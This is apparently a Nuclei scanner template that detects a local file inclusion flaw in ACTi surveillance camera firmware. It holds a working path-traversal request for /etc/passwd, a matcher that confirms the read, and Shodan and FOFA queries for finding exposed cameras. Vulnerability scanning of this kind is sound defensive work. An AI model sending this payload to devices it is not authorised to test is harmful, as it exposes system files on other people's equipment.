id: acti-video-lfi

info:
  name: ACTi-Video Monitoring - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    ACTI video surveillance has loopholes in reading any files
  reference:
    - https://www.cnblogs.com/hmesed/p/16292252.html
  classification:
    cpe: cpe:2.3:o:acti:camera_firmware:*:*:*:*:*:*:*:*
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 1
    vendor: acti
    product: camera_firmware
    shodan-query: title:"Web Configurator"
    fofa-query: app="ACTi-视频监控"
  tags: acti,lfi,iot,video,monitoring,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/images/../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a2cd80d21fb10071dea4ae88401c96bb21468f06970461bc282bd7cc7d3a69502210094a33b3692ca9ca93a59a1a6baa81aeed142f281195655d0f736a3d1b4d24ced:922c64590222798bb761d5b6d8e72950